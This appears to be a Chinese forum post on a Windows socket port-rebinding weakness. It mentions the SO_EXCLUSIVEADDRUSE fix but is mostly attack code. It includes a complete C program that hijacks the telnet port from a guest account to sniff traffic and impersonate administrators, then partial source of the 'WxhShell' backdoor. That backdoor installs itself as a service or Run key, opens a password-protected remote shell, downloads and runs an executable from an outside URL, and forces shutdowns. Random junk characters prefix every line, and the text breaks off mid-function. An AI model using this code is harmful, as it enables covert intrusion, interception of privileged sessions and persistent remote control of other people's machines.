在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fc{M
N" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'1'#,u! bgD4;)?5b saddr.sin_family = AF_INET;
u#9 H W"j&':xD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!S6zC > m-V_J`9" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[n%=2*1p )b^yAzL? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
quXL'g F@ Sw 这意味着什么?意味着可以进行如下的攻击:
9!CD25u ~mAv)JK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h-)tWJ c }<m'Nkz<X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)"W__U0 pC=kv ve 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
44e:K5;]7 Er@'X0n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A7U]wW9 b+b]., 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6"@`iY 3a|I| NP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p./9^S
jU~q~e7Te 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
),DLrGOl ] (%EQ[ #include
-@=As00Bg #include
r}?uZ"]=? #include
Fa]|Y #include
H3Ws$vl9n DWORD WINAPI ClientThread(LPVOID lpParam);
5?] Dn k.o int main()
%%uvia=e {
=}F}XSvXH WORD wVersionRequested;
mz-sazgV DWORD ret;
5/w4[d WSADATA wsaData;
GXk]u BOOL val;
H\r-
;,& SOCKADDR_IN saddr;
H6o_*Y SOCKADDR_IN scaddr;
;T-`~ int err;
g
\;,NW^ SOCKET s;
zG^|W8um_ SOCKET sc;
h#:_GNuF int caddsize;
}Od=WQv+ HANDLE mt;
g#*LJ`1 DWORD tid;
4:zyZu3fm wVersionRequested = MAKEWORD( 2, 2 );
NCX`-SLv err = WSAStartup( wVersionRequested, &wsaData );
{JGXdp:SB if ( err != 0 ) {
lVptA3F printf("error!WSAStartup failed!\n");
A>9IE(C_ return -1;
[8 I*lsS }
zg}#X6\G<_ saddr.sin_family = AF_INET;
}5b,u6 Pt=@U: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/#Gm`BT qk}Mb_*C) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}q?*13iy( saddr.sin_port = htons(23);
`ElJL{Rn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2Q;g|*] {
r?%,#1|$$ printf("error!socket failed!\n");
<lN=<9 return -1;
=v !'? }
c&"OhzzJK' val = TRUE;
?910ki_ //SO_REUSEADDR选项就是可以实现端口重绑定的
E0t%]?1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?{]"UnyVE* {
.VA'W16 printf("error!setsockopt failed!\n");
w,zm$s ^ return -1;
v"x'rx# }
MA+{7 [ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cv7.=*Kb; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JWsOze8# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=`EVg>+^ X,`^z,M%I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\R.Fmeko {
;s^F:O ret=GetLastError();
rCsH
0:l8P printf("error!bind failed!\n");
SU7 erCHX return -1;
LTZ~Id-)P }
WNp-V02l listen(s,2);
O_P8OA#| while(1)
c:u2a/Q? {
;\54(x}|K caddsize = sizeof(scaddr);
>>.4@ //接受连接请求
9Itj@ps sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|>v8yS5 if(sc!=INVALID_SOCKET)
oV;I8;#\J {
]]6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xlm:erP if(mt==NULL)
'fka?lL {
evE$$# 6R printf("Thread Creat Failed!\n");
*kq>Z 06'i break;
(i@B+c }
>U62vX" }
pIgjo>K CloseHandle(mt);
E>&oe&`o' }
[J6q(}f closesocket(s);
(;2]`D [x WSACleanup();
*3h!&.zm return 0;
MuP&m{ }
7NP
Ny DWORD WINAPI ClientThread(LPVOID lpParam)
gVN&?`k*? {
kWxcB7)uk SOCKET ss = (SOCKET)lpParam;
sSsRn*LN-: SOCKET sc;
j9O"!9$vQ unsigned char buf[4096];
+7$zL;ph=n SOCKADDR_IN saddr;
WXX08" long num;
QmY1Bn?s DWORD val;
dL|*#e DWORD ret;
u;H5p\zAzz //如果是隐藏端口应用的话,可以在此处加一些判断
0ChdFf7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
h%!N!\ saddr.sin_family = AF_INET;
[8rl{~9E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zf?U q saddr.sin_port = htons(23);
L<O"36R if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*S\/l-D {
[|dQZ printf("error!socket failed!\n");
t'DYT"3 return -1;
['\u?m }
mqKr+
val = 100;
lPOcX'3\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N-<m/RS {
@1tv/W
ret = GetLastError();
ca?;!~%zA return -1;
6^vHFJ$ }
.+2@(r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vv~:^6il {
"bk'#?9 ret = GetLastError();
"|%'/p return -1;
07qL@![! }
NiO|Aki{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vGI?X#w3 {
7?EC
kuSv printf("error!socket connect failed!\n");
0Lki( closesocket(sc);
G8Sx;Xi closesocket(ss);
n;0x\Q|S return -1;
z! /
MBM }
rulw6vTB( while(1)
?R\:6x< {
HzD=F3\r| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
z\r|5Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
F]7$Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#vBS7ba num = recv(ss,buf,4096,0);
_.G p}0a if(num>0)
kK il]L send(sc,buf,num,0);
b.sRB1 else if(num==0)
Tv`-h break;
YMTB4|{ num = recv(sc,buf,4096,0);
&a];"2 if(num>0)
- |j4u#z send(ss,buf,num,0);
L2m~ GnP|? else if(num==0)
_Vf0MU;3f+ break;
cnwpd%]o }
=x3ZQA closesocket(ss);
^lCQHz closesocket(sc);
d:1TSJff%/ return 0 ;
i%a jL }
x0 dO^D E^<.; @Nk]f ==========================================================
tW#=St0<.o b&~s}IX 下边附上一个代码,,WXhSHELL
FELTmQUV A/+bwCDP ==========================================================
&T)h9fyc x&PVsXdt5m #include "stdafx.h"
>84:1` 39zwPoN> #include <stdio.h>
%juR6zB%8 #include <string.h>
5,n{-V #include <windows.h>
A]k-bX= s #include <winsock2.h>
(iw)C)t*u #include <winsvc.h>
wqyrs|P #include <urlmon.h>
rBY{&JhS :-Al}7 #pragma comment (lib, "Ws2_32.lib")
KqH_?r` #pragma comment (lib, "urlmon.lib")
WMw]W& <h7FS90S #define MAX_USER 100 // 最大客户端连接数
*MBu5
+u%e #define BUF_SOCK 200 // sock buffer
Q
lg~S1D_v #define KEY_BUFF 255 // 输入 buffer
Xzp!X({ _jr'A -M #define REBOOT 0 // 重启
u:FFZ #define SHUTDOWN 1 // 关机
[V-OYjPAx m2o)/: #define DEF_PORT 5000 // 监听端口
")cJA f ZSo#vQ #define REG_LEN 16 // 注册表键长度
F3L'f2yBG #define SVC_LEN 80 // NT服务名长度
^KeJ=VT }#h >*+Q // 从dll定义API
}&{z-/;H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E3a^)S{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m)aNuQvy:Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
UFLN/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
wC~ra:/?:7 S)h0@;q // wxhshell配置信息
=vaC?d3 struct WSCFG {
|dxcEjcY_ int ws_port; // 监听端口
ojA i2uz char ws_passstr[REG_LEN]; // 口令
s^n}m#T int ws_autoins; // 安装标记, 1=yes 0=no
c<PML|e char ws_regname[REG_LEN]; // 注册表键名
*Ou )P9~-L char ws_svcname[REG_LEN]; // 服务名
K3WhF char ws_svcdisp[SVC_LEN]; // 服务显示名
! 9U char ws_svcdesc[SVC_LEN]; // 服务描述信息
AUk,sCxd char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)O~V3a int ws_downexe; // 下载执行标记, 1=yes 0=no
3bGJ?hpp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#s-^4znv9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W=9Zl(2C
69o,T`B };
M^E\L
C 0xe!tA // default Wxhshell configuration
Z?#_3h$"T struct WSCFG wscfg={DEF_PORT,
DD4fV`:kG "xuhuanlingzhe",
>pVrY;
P[ 1,
*XCid_{( "Wxhshell",
SREe,
e\ "Wxhshell",
$\DOy&e "WxhShell Service",
},d`<^~ "Wrsky Windows CmdShell Service",
0(Hhb#WDh\ "Please Input Your Password: ",
*,UD&N_)*6 1,
H</Mh*Fl2G "
http://www.wrsky.com/wxhshell.exe",
):Vzv "Wxhshell.exe"
L6xLD X7y };
WP@IV;i |9;6Cp // 消息定义模块
} +@H&}u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\1AtBc& char *msg_ws_prompt="\n\r? for help\n\r#>";
t~luBUF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
RO([R=.`/ char *msg_ws_ext="\n\rExit.";
WCg*TL} char *msg_ws_end="\n\rQuit.";
Qe&K char *msg_ws_boot="\n\rReboot...";
qNLG- m,n< char *msg_ws_poff="\n\rShutdown...";
RW!_ZzZ char *msg_ws_down="\n\rSave to ";
X/
\5j
d"1DE char *msg_ws_err="\n\rErr!";
oPX `/X# char *msg_ws_ok="\n\rOK!";
Tk^J#};N yC]xYn) char ExeFile[MAX_PATH];
f?ImQYqP
int nUser = 0;
uA}w?; HANDLE handles[MAX_USER];
6(Qr!< int OsIsNt;
wX0m8"g@ =*icCng SERVICE_STATUS serviceStatus;
Lqt.S| SERVICE_STATUS_HANDLE hServiceStatusHandle;
gbf-3KSp^ y;!q E~!3 // 函数声明
v{N4*P.0T int Install(void);
_?vh#6F int Uninstall(void);
"funFvY int DownloadFile(char *sURL, SOCKET wsh);
-`iXAyr)m int Boot(int flag);
'THcO*< void HideProc(void);
6N{Vcfq int GetOsVer(void);
},"T,t# int Wxhshell(SOCKET wsl);
U5 `h void TalkWithClient(void *cs);
aKLA_-E int CmdShell(SOCKET sock);
MWsjkI` int StartFromService(void);
:QndeUw int StartWxhshell(LPSTR lpCmdLine);
4@K9% "Ih>>|r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`]Uu` b VOID WINAPI NTServiceHandler( DWORD fdwControl );
P9Gjsu # ^4+ew>BLSv // 数据结构和表定义
KuU]enC3 SERVICE_TABLE_ENTRY DispatchTable[] =
Vvth, {
E&\dr;{7 {wscfg.ws_svcname, NTServiceMain},
6m.ChlO/ {NULL, NULL}
-8L22t };
yGNZw7^( )HrFWI'Y // 自我安装
WjyuaAWY int Install(void)
Dq#/Uw# {
4%8}vCs char svExeFile[MAX_PATH];
xiu?BP?V HKEY key;
4"OUmh9LHB strcpy(svExeFile,ExeFile);
vv2N;/;I z (N3oBW // 如果是win9x系统,修改注册表设为自启动
j\^0BTZ if(!OsIsNt) {
yIm@m[B;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wq|~[+y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[m9Pt]j@
RegCloseKey(key);
U({20 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zW`Zmt\T2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AM L8.wJ RegCloseKey(key);
4?#0fK return 0;
f8ap+][ }
~s}0z&v^te }
*WSH-*0 }
- nWs@\ else {
R^%uEP '~dE0ohWb // 如果是NT以上系统,安装为系统服务
UbBo#(TZ) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.U8Se+; if (schSCManager!=0)
$ae*3L>5M {
x^UE4$oo SC_HANDLE schService = CreateService
CYr2~0<g (
FiTP-~
schSCManager,
T5mdC wscfg.ws_svcname,
/ 38b:, wscfg.ws_svcdisp,
-Cb<T"7 SERVICE_ALL_ACCESS,
1B;-ea SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TBfX1v|Z) SERVICE_AUTO_START,
~[@Gj{6p0 SERVICE_ERROR_NORMAL,
3xhv~be svExeFile,
N4 O'{ NULL,
us&!%` NULL,
fIrl?X'] NULL,
n@LR? NULL,
b\/:-][ NULL
}$K2h* );
+39Vxe:Oy if (schService!=0)
L lP {
PZ/ gD CloseServiceHandle(schService);
B,sv! p+q5 CloseServiceHandle(schSCManager);
;4jRsirx9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$}d| ~q\ strcat(svExeFile,wscfg.ws_svcname);
<1(:W[M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
32_{nLV$[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
.xtjB8gc RegCloseKey(key);
)7mX]@ return 0;
By=/DVm)= }
[\o+I:,}wi }
:@PM+ [B|Q CloseServiceHandle(schSCManager);
&Mset^o }
?Gq'r2V }
tuA,t d*26;5~\ return 1;
+"Pt? k }
T^-fn <BIj
a // 自我卸载
_(J 7^rN int Uninstall(void)
7s%DM6li 6 {
\Nc/W!r*9 HKEY key;
wj>mk } d /5_X if(!OsIsNt) {
||y5XXs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9Vx2VjK2' RegDeleteValue(key,wscfg.ws_regname);
; Xy\7tx RegCloseKey(key);
jB]tq2i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gWp\?La RegDeleteValue(key,wscfg.ws_regname);
`nccRy<l RegCloseKey(key);
SWr?>dl return 0;
_//)|.6c3 }
$AAv%v }
r}OK3J }
SCl$+9E else {
^(I4Do~} .s31D%N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
JGPLVw if (schSCManager!=0)
aH)$#6${Ap {
RQI? \?o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
QRj><TKi if (schService!=0)
4l2i'H {
3X$)cZQ if(DeleteService(schService)!=0) {
@NGK2J CloseServiceHandle(schService);
8~?3: IZ CloseServiceHandle(schSCManager);
kVs'>H@FY return 0;
<}b`2/wP }
)/H=m7}1h CloseServiceHandle(schService);
PL/as3O^A }
&Zl$7 CloseServiceHandle(schSCManager);
9l2,:EQ* }
u2
a
U0k: }
'3Yci(t+ JqTkNKi/s return 1;
ZSq7>} }
a'w~7y!} fk)ts,p? // 从指定url下载文件
!=@Lyt)_b int DownloadFile(char *sURL, SOCKET wsh)
h)BRSs?v_D {
m"\jEfjO HRESULT hr;
0Vv6B2< char seps[]= "/";
/W'GX n char *token;
6\ /x char *file;
G?!b00H char myURL[MAX_PATH];
vJDK]p<} char myFILE[MAX_PATH];
T1hr5V<U Ed ,`1+ strcpy(myURL,sURL);
Etty{r} token=strtok(myURL,seps);
qd"1KzQWO while(token!=NULL)
LziEF-_ {
AEx
I! file=token;
r
H;@N token=strtok(NULL,seps);
j?%^N\9 }
]&\HAmOQS C{!L +]/ GetCurrentDirectory(MAX_PATH,myFILE);
IRNL(9H strcat(myFILE, "\\");
!Uz{dFJf; strcat(myFILE, file);
B
PTQm4TN send(wsh,myFILE,strlen(myFILE),0);
&Yi)|TU3'R send(wsh,"...",3,0);
KJ<7aZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GqumH/; if(hr==S_OK)
J]/TxUE return 0;
24PEt%2 else
=3OK3| return 1;
5G=<2; W)3?T&` }
r=P)iE: zb.^ _A // 系统电源模块
=gS?atbX int Boot(int flag)
Aifc0P-H {
SLp &_S@4 HANDLE hToken;
5ckL=q"+/ TOKEN_PRIVILEGES tkp;
tFt56/4 O6Bs!0, if(OsIsNt) {
[2?|BUtD[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C,7d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
RY'f%c tkp.PrivilegeCount = 1;
vN:gu\^- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
q`z/ S> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
i2KN^"v?N if(flag==REBOOT) {
H,`F%G#!`q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
YXI_ ' return 0;
i^Vb42 %y }
6yk=4l\ else {
1O@
qpNm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
c* 2U'A return 0;
$U%M]_ }
_+PiaJ&' }
O 4zD
>O else {
D\|$!i} if(flag==REBOOT) {
ly"Jl8/< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
cb!mV5M-g return 0;
h}-}!v }
Z`x|\jI else {
68Po`_/s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a (AKVk\ return 0;
:T^!<W4 }
z~&uLu }
F5UvD[i 3FRz&FS:j return 1;
B1<